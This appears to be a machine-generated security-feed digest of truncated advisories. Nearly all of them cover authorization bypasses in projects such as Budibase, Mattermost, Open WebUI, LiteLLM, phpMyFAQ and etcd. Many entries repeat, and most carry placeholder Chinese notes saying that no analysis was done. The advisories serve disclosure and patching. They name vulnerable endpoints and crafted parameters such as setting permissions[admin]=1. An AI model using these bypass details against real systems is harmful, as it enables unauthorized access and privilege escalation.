### Description Symfony's `#[IsGranted('...')]`, `#[IsSignatureValid]`, and `#[IsCsrfTokenValid(...)]` attributes allow you to define a `methods: [...]` argument to only enforce these checks for the listed HTTP methods and skip them otherwise. E.g. an attribute defining `methods: ['GET']` would be ignored for a `HEAD` request. On the other hand, Symfony's router (and HTTP semantics generally) se
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.1, when a PAM service is configured with deny_remote=false in pam_usb (commonly done for display managers such as gdm-password or lightdm to bypass process/TTY heuristics for local sessions), the PAM_RHOST check in pusb_do_auth() is also skipped. PAM_RHOST is set by remote daemons (sshd, XDMCP servers)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Himmelblau is an interoperability suite for Microsoft Azure Entra ID and Intune. From 2.0.0 to before 3.1.5 and 2.3.11, Himmelblau contained an authentication bypass vulnerability in the Device Authorization Grant (DAG) flow that allowed a user within the same Entra ID domain to obtain a local Unix session as another user by providing their own valid credentials. The vulnerability existed in the t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.6.12 and 1.7.1, an unauthenticated open redirect in Authlib's OpenIDImplicitGrant and OpenIDHybridGrant authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the openid scope. This vulnerability
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.10.7, 18.11 before 18.11.4, and 19.0 before 19.0.1 that under certain conditions could have allowed an unauthorized user to enumerate private projects due to incorrect authorization checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Budibase is an open-source low-code platform. Prior to 3.39.0, the single-datasource GET and PUT routes are guarded by generic TABLE READ, not by Builder/Admin permission or datasource-specific ownership/resource checks. The built-in Basic app user role maps to the WRITE permission set, which includes table read/write and query write. A Basic user can therefore read an existing REST datasource, re
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Budibase is an open-source low-code platform. Prior to 3.38.1, the row action trigger endpoint (POST /api/tables/:sourceId/actions/:actionId/trigger) fails to validate that the user-supplied rowId is within the scope of the view's row filters. A user with access to a filtered view can trigger row actions on any row in the underlying table, including rows explicitly excluded by the view's security
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frappe HR is an open-source human resources management solution (HRMS). Prior to 16.5.0, authenticated employees could access other employees’ leave details due to improper authorization checks. This vulnerability is fixed in 16.5.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Ella Core is a 5G core designed for private networks. Prior to 1.10.0, a radio with a valid NG Setup can send a forged PDUSessionResourceSetupResponse carrying any UE's AMF-UE-NGAP-ID. Ella Core does not verify the message arrived on the SCTP association bound to that UE's logical NG-connection, then creates a GTP tunnel towards that radio. This vulnerability is fixed in 1.10.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the nnef-pfdmanagement route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) to read PFD application data via GET /applications and GET /applications/{a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RabbitMQ is a messaging and streaming broker. From 4.2.0 to before 4.2.4, RabbitMQ's MQTT plugin allows for topic-level authorization using regular expressions with variable substitution. Administrators can create patterns such as ^{client_id}-sensors$ to restrict user access to topics that include their client ID. However, the client_id is provided by the user in the MQTT CONNECT packet and is in
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Auth0.js is a client-side JavaScript library for Auth0. From 8.11.0 to 9.32.0, under specific preconditions, the Auth0.js SDK may improperly return user profile information using a valid access token when a specifically crafted invalid ID token is provided. This vulnerability is fixed in 10.0.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization vulnerability in IO Module functionality in Synology Surveillance Station before 9.2.2-11575 and 9.2.2-9575 allows remote authenticated users with administrator privileges to limited file write via unspecified vectors.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary An unauthenticated Remote Code Execution vulnerability exists in FUXA when `secureEnabled` is set to `true`. The `POST /api/runscript` endpoint checks authorization against the stored script's permission by ID, but when `test: true` is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary An authorization bypass in the /api/getTagValue endpoint allows unauthenticated access to tag values when the referenced script does not exist. ### Details The issue is caused by the combination of these code paths: - `server/api/apikeys/verify-api-or-token.js:45` sends requests without `x-api-key` to `authJwt.verifyToken(req, res, next)`. - `server/api/jwt-helper.js:46-64`
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
**Pre-auth** RCE in FUXA via Logic Bypass Summary A Critical vulnerability chain exists in FUXA (v.1.3.0-2706) that allows an unauthenticated remote attacker to achieve Full Remote Code Execution (RCE) as root. The exploit succeeds even when the platform is configured in its most secure state (Secure Mode Enabled and Node-RED Secure Auth Enabled). Details The vulnerability is a Path Confusion f
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security vulnerability has been detected in SourceCodester eDoc Doctor Appointment System 1.0. This affects an unknown part of the file /admin/delete-session.php. The manipulation of the argument ID leads to missing authorization. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM Engineering Lifecycle Management 7.0.3, 7.1.0, and 7.2.0 could allow an unauthenticated remote attacker to update server property files that would allow them to gain unauthorized access to the application.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Snipe-IT is an IT asset/license management system. Prior to 8.4.1, aAn authenticated user with only users.edit permission can escalate their own privileges to admin by sending a PATCH request to /api/v1/users/{id} with permissions[admin]=1. The API controller only strips the superuser key from the permissions array, allowing admin and all other permission keys to be set by any user who can update
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
IBM Engineering Lifecycle Management 7.0.3, 7.1.0, and 7.2.0 could allow an unauthenticated remote attacker to update server property files that would allow them to gain unauthorized access to the application.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traccar is an open source GPS tracking system. Prior to 6.13.0, DeviceResource.uploadImage authorizes the target device only through Condition.Permission(User.class, getUserId(), Device.class) and then immediately streams the uploaded body into mediaManager.createFileStream(...). Unlike the generic mutation path in BaseObjectResource.update and the explicit device mutation handler updateAccumulato
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The affected products insufficiently verify authorization when deleting user accounts. An authenticated, low-privileged remote user can exploit this vulnerability to delete other users, including those with higher privileges.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `createAlertRule` and `createService` (and their `update*` siblings) accept `FailTriggerTasks []uint64` and `RecoverTriggerTasks []uint64` — IDs of cron tasks to fire when the alert/service trips. The validation function only validates the alert's `Rules.Ignore` server map; it never checks that the cron task IDs in `FailTriggerTasks` / `RecoverTriggerTasks` belong to the caller. When
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary nezha's dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The notification routes `POST /api/v1/notification` and `PATCH /api/v1/notification/:id` are wired through `commonHandler` rather than `adminHandler` — so a `RoleMember` user can call them. These handlers synchronously `Send()` an HTTP request to a user-controlled URL and reflect the *entire* r
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Concrete CMS 9.5.0 and below is vulnerable to missing authorization in the bulk_user_assignment.php which can lead to privilege escalation to Administrative Group. Any authenticated user with access to the bulk user assignment dashboard page can add any user email to any group and can remove legitimate admins. The Concrete CMS security team gave this vulnerability a CVSS v.4.0 score of 7.5 with ve
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LiteLLM prior to 1.83.10 allows a user to modify their own user_role via the /user/update endpoint. While the endpoint correctly restricts users to updating only their own account, it does not restrict which fields may be changed. A user who can reach this endpoint can set their role to proxy_admin, gaining full administrative access to LiteLLM including all users, teams, keys, models, and prompt
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LiteLLM prior to 1.83.14 allows an authenticated internal_user to create API keys with access to routes that their role does not permit. When generating a key, the allowed_routes field is stored without verifying that the specified routes fall within the user's own permissions. A key created with access to admin-only routes can then be used to reach those routes successfully, bypassing the role-ba
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Description The `column` filter passes its input straight to PHP's native `array_column()`. When the array elements are objects, `array_column()` reads `$obj->$name` (and `$obj->$index`) directly, including invoking `__get`/`__isset`. Because this property read happens entirely in PHP native code and never reaches `CoreExtension::getAttribute()`, `SandboxExtension::checkPropertyAllowed()` is
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Concrete CMS 9.5.0 and below is vulnerable to missing authorization in the bulk_user_assignment.php which can lead to privilege escalation to Administrative Group. Any authenticated user with access to the bulk user assignment dashboard page can add any user email to any group and can remove legitimate admins. The Concrete CMS security team gave this vulnerability a CVSS v.4.0 score of 7.5 with ve
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LiteLLM prior to 1.83.10 allows a user to modify their own user_role via the /user/update endpoint. While the endpoint correctly restricts users to updating only their own account, it does not restrict which fields may be changed. A user who can reach this endpoint can set their role to proxy_admin, gaining full administrative access to LiteLLM including all users, teams, keys, models, and prompt
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LiteLLM prior to 1.83.14 allows an authenticated internal_user to create API keys with access to routes that their role does not permit. When generating a key, the allowed_routes field is stored without verifying that the specified routes fall within the user's own permissions. A key created with access to admin-only routes can then be used to reach those routes successfully, bypassing the role-ba
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The OAuth token strategy attached `oauth_scope` and `oauth_granted_resources` to the request user, but the ACL middleware never consulted either. An OAuth token issued with a restricted scope (e.g. MCP-only) therefore inherited the full permissions of the underlying user across all routes; the `granted_resources.base_id` restriction was bypassed on org-level endpoints that don't popul
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `mcp-server-kubernetes` exposes three environment variables (`ALLOW_ONLY_READONLY_TOOLS`, `ALLOW_ONLY_NON_DESTRUCTIVE_TOOLS`, `ALLOWED_TOOLS`) documented as access controls for restricting which Kubernetes operations are available. These controls are enforced at the tool discovery layer (`tools/list`) but not at the execution layer (`tools/call`). Any client that knows a tool name can
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1 fail to validate team-level run_create permission against the target team when creating a playbook run which allows an authenticated team member to create runs in teams where they lack permission via specifying a different team ID in the run creation API request. Mattermost Advisory ID: MMSA-2026-00629
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Splunk AI Toolkit versions below 5.7.3, a low-privileged user that does not hold the 'admin' or 'power' roles could access confidential data that was restricted through `srchFilter` configurations on custom roles.The app contains an `authorize.conf` configuration file with a `srchFilter` entry that modifies the built-in ‘user’ role. Because the Splunk platform combines inherited search filters
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Splunk AI Toolkit versions below 5.7.3, a low-privileged user that does not hold the 'admin' or 'power' roles could access confidential data that was restricted through `srchFilter` configurations on custom roles.The app contains an `authorize.conf` configuration file with a `srchFilter` entry that modifies the built-in ‘user’ role. Because the Splunk platform combines inherited search filters
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary The `/api/v1/chatflows/apikey/:apikey` endpoint (whitelisted, accessible with API key auth only) returns all chatflows bound to the provided API key AND all chatflows across the entire system that have no API key assigned. This crosses workspace boundaries, allowing a user in Workspace A who has a valid API key to read the full configuration (including flowData, chatbotConfig, system p
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's `reset_user_password` and `gym_permissions_user_edit` views in `wger/gym/views/user.py` performed a gym-scope authorization check using Django ORM object comparison (`if request.user.userprofile.gym != user.userprofile.gym`) which silently passes when both sides are `None` (`None != None` evaluates to `False`). The maintainer's
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Joplin is an open source note-taking and to-do application that organises notes and lists into notebooks. Versions 3.5.2 and prior contain a logic error in the delta API that allows share recipients to download notes that are no longer shared with them, related to but not fully fixed by the prior patch in #14289. In ChangeModel.delta, when DELTA_INCLUDES_ITEMS is enabled (the default), the latest
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mantis Bug Tracker (MantisBT) is an open source issue tracker. Versions 2.28.1 and prior are vulnerable to Authorization Bypass through the private issue monitoring feature . Using a crafted POST request to bug_monitor_add.php, a user with project-level access can add themselves as a monitor for a private issue they do not have access to. Despite displaying an Access Denied error, the application
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In the AWS Secrets Manager and SSM Parameter Store secrets backends of `apache-airflow-providers-amazon` prior to 9.28.0, the team-scoping logic could resolve a `conn_id` containing a `/` (e.g. `"my_team/conn"`) to the same path as another team's team-scoped secret when the caller had no team context. A privileged caller without team context could therefore retrieve another team's secret by crafti
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LIVE555 before 2026.04.22 contains an authorization bypass vulnerability in RTSP session command handling that allows attackers to replay valid Session tokens from unauthenticated connections. Attackers who obtain a valid Session token can issue PLAY and TEARDOWN commands from a second TCP connection without authentication, causing server crashes through virtual function call errors or disrupting
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In the AWS Secrets Manager and SSM Parameter Store secrets backends of `apache-airflow-providers-amazon` prior to 9.28.0, the team-scoping logic could resolve a `conn_id` containing a `/` (e.g. `"my_team/conn"`) to the same path as another team's team-scoped secret when the caller had no team context. A privileged caller without team context could therefore retrieve another team's secret by crafti
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## AI Disclosure I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report. I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`. ## Summary Caddy's remote admin access control performs path authorization using prefix matching: - [`admin.go
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LIVE555 before 2026.04.22 contains an authorization bypass vulnerability in RTSP session command handling that allows attackers to replay valid Session tokens from unauthenticated connections. Attackers who obtain a valid Session token can issue PLAY and TEARDOWN commands from a second TCP connection without authentication, causing server crashes through virtual function call errors or disrupting
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Sparx Pro Cloud Server is vulnerable to Broken Access Control within communication with the database. Due to lack of permission checks, any low privileged user can run arbitrary SQL queries within database user context. The vendor was notified early about this vulnerability, but didn't respond with the details of vulnerability or vulnerable version range. Only version 6.1 (build 167) and below we
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
HCL Connections contains a broken access control vulnerability that may allow unauthorized user to update data in certain scenarios.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
HCL Connections contains a broken access control vulnerability that may allow unauthorized user to update data in certain scenarios.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary The row action trigger endpoint (`POST /api/tables/:sourceId/actions/:actionId/trigger`) fails to validate that the user-supplied `rowId` is within the scope of the view's row filters. A user with access to a filtered view can trigger row actions on any row in the underlying table, including rows explicitly excluded by the view's security filters. ## Details View filters in Budibase
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost Plugins versions <=11.5 11.1.5 10.13.11 11.3.4.0 fail to appropriately check for valid namespaces which allows plugin users to create subscriptions to groups that were not whitelisted via creating groups that share the same prefix as a whitelisted group. Mattermost Advisory ID: MMSA-2026-00601
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 Fail to enforce slash command trigger-word uniqueness during command updates which allows an authenticated team member with Manage Own Slash Commands permission to hijack and impersonate existing system or custom slash commands via editing their own slash command trigger to an already-registered trigger through the command
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fail to check public/private permissions which allows members without these permissions to access public playbooks via /get.. Mattermost Advisory ID: MMSA-2026-00591
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to check if {{team_id}} was being changed when updating playbooks, allowing users with only {{Manage Playbook Configurations}} permission to change a playbook's team, bypassing manage members restriction via PUT api. Mattermost Advisory ID: MMSA-2025-00552
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost Plugins versions <=11.5 11.1.5 10.13.11 11.3.4.0 fail to have API-level checks on which groups the user can create issues or attach comments to which allows a user that is member of multiple groups to create issues to a locked group via direct API requests. Mattermost Advisory ID: MMSA-2026-00602
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to validate that the RefreshedToken differs from the original invite token during remote cluster invite confirmation which allows an authenticated attacker to bypass token rotation and reuse the original invite token via sending a crafted invite confirmation with a RefreshedToken matching the original token. Mattermost Advisory ID: MMS
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fail to validate that a remote cluster has access to a channel before processing membership removal requests during shared channel membership sync, which allows a malicious remote cluster to remove any user from any channel, including private channels, via crafted membership sync messages targeting channels the remote clus
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fail to check public/private permissions which allows members without these permissions to access public playbooks via /get.. Mattermost Advisory ID: MMSA-2026-00591
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to check if {{team_id}} was being changed when updating playbooks, allowing users with only {{Manage Playbook Configurations}} permission to change a playbook's team, bypassing manage members restriction via PUT api. Mattermost Advisory ID: MMSA-2025-00552
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 Fail to enforce slash command trigger-word uniqueness during command updates which allows an authenticated team member with Manage Own Slash Commands permission to hijack and impersonate existing system or custom slash commands via editing their own slash command trigger to an already-registered trigger through the command
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost Plugins versions <=11.5 11.1.5 10.13.11 11.3.4.0 fail to appropriately check for valid namespaces which allows plugin users to create subscriptions to groups that were not whitelisted via creating groups that share the same prefix as a whitelisted group. Mattermost Advisory ID: MMSA-2026-00601
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost Plugins versions <=11.5 11.1.5 10.13.11 11.3.4.0 fail to have API-level checks on which groups the user can create issues or attach comments to which allows a user that is member of multiple groups to create issues to a locked group via direct API requests. Mattermost Advisory ID: MMSA-2026-00602
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to validate that the RefreshedToken differs from the original invite token during remote cluster invite confirmation which allows an authenticated attacker to bypass token rotation and reuse the original invite token via sending a crafted invite confirmation with a RefreshedToken matching the original token. Mattermost Advisory ID: MMS
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13, 11.4.x <= 11.4.3 fail to validate that a remote cluster has access to a channel before processing membership removal requests during shared channel membership sync, which allows a malicious remote cluster to remove any user from any channel, including private channels, via crafted membership sync messages targeting channels the remote clus
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI 是一个自托管的人工智能平台，旨在完全离线运行。在 0.9.3 版本之前，其 POST /api/v1/notes/{id}/pin 端点存在权限校验缺陷：该端点用于切换笔记的 is_pinned 状态（执行写操作），但仅检查了用户的读取权限，而未要求写入权限。因此，拥有笔记只读访问权限的用户可以执行本应需要写权限的固定/取消固定操作，导致状态被未授权修改。此漏洞允许低权限用户影响数据状态，违反了最小权限原则。攻击者需要具有有效账户且对目标笔记有读权限，利用过程需要用户交互（如点击链接）。修复版本为 0.9.3，已移除该漏洞。建议用户尽快升级到最新版本，并限制管理接口的网络暴露。
💡 影响/原因: 权限检查缺失导致只读用户能修改笔记状态，虽非严重数据泄露，但破坏了预期权限边界，在协作环境中可能引发混乱或被利用进行干扰。
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.1.124, the API does not properly validate that the user has an authorized user role of user. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management pan
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.2 contains an authorization bypass vulnerability in AbstractAdministrationController::userHasPermission() that fails to terminate execution after sending a forbidden response. Attackers can access all permission-protected admin pages by requesting their URLs as authenticated users, exposing admin logs, user data, system information, and application configuration.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solution_id_{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, l
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.2 contains an insufficient authorization vulnerability in admin-api routes that allows authenticated ordinary users to access administrative endpoints by only checking login status instead of verifying backend privileges. Attackers with valid frontend user accounts can access sensitive backend operational information including dashboard versions, LDAP configuration, Elasticsear
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.12, the /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. This vu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the ydoc:document:update Socket.IO event handler checks whether the sender is a member of the document's Socket.IO room (line 678) but does not verify that the sender has write permission. Users with read-only access join the document room via ydoc:document:join, which only requires r
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the is_user_channel_member function checks whether a ChannelMember row exists but does not check the is_active field. When a user is deactivated from a group or DM channel (removed by the channel owner, or leaves voluntarily), their membership row persists with is_active=False and sta
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the _validate_collection_access function uses an incomplete allowlist that only enforces ownership checks for collections matching user-memory-* and file-* patterns. All other collection names pass through unchecked — including the system-level knowledge-bases meta-collection, which s
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.2 contains an information disclosure vulnerability in the getIdFromSolutionId() method that lacks permission filtering, allowing unauthenticated attackers to enumerate restricted FAQ entries and read their titles via the /solution_id_{id}.html endpoint. Attackers can sequentially iterate solution IDs to discover all FAQs including those restricted to specific users or groups, l
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.2 contains an authorization bypass vulnerability in AbstractAdministrationController::userHasPermission() that fails to terminate execution after sending a forbidden response. Attackers can access all permission-protected admin pages by requesting their URLs as authenticated users, exposing admin logs, user data, system information, and application configuration.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
phpMyFAQ before 4.1.2 contains an insufficient authorization vulnerability in admin-api routes that allows authenticated ordinary users to access administrative endpoints by only checking login status instead of verifying backend privileges. Attackers with valid frontend user accounts can access sensitive backend operational information including dashboard versions, LDAP configuration, Elasticsear
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. ### Details The admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code ex
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, broken access control in the searchAsset, searchTag, searchWidget, and searchTemplate publish-mode Readers can enumerate metadata from documents that are invisible to the publish service. This vulnerability is fixed in 3.7.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Live Helper Chat is an open-source application that enables live support websites. In 4.84v, the Live Helper Chat REST API chat update endpoint allows a REST user with lhchat/use to update a chat in a department they cannot read. The endpoint accepts arbitrary chat object fields, so the user can change the chat hash and status and then access or tamper with the chat through visitor/widget paths. T
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
etcd is a distributed key-value store for the data of a distributed system. Prior to 3.4.44, 3.5.30, and 3.6.11, a vulnerability in etcd allows read access via PrevKv, or lease attachment in Put requests within transaction operations, to bypass RBAC authorization checks. An authenticated user without sufficient read or lease-related permissions may be able to access unauthorized data or attach lea
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
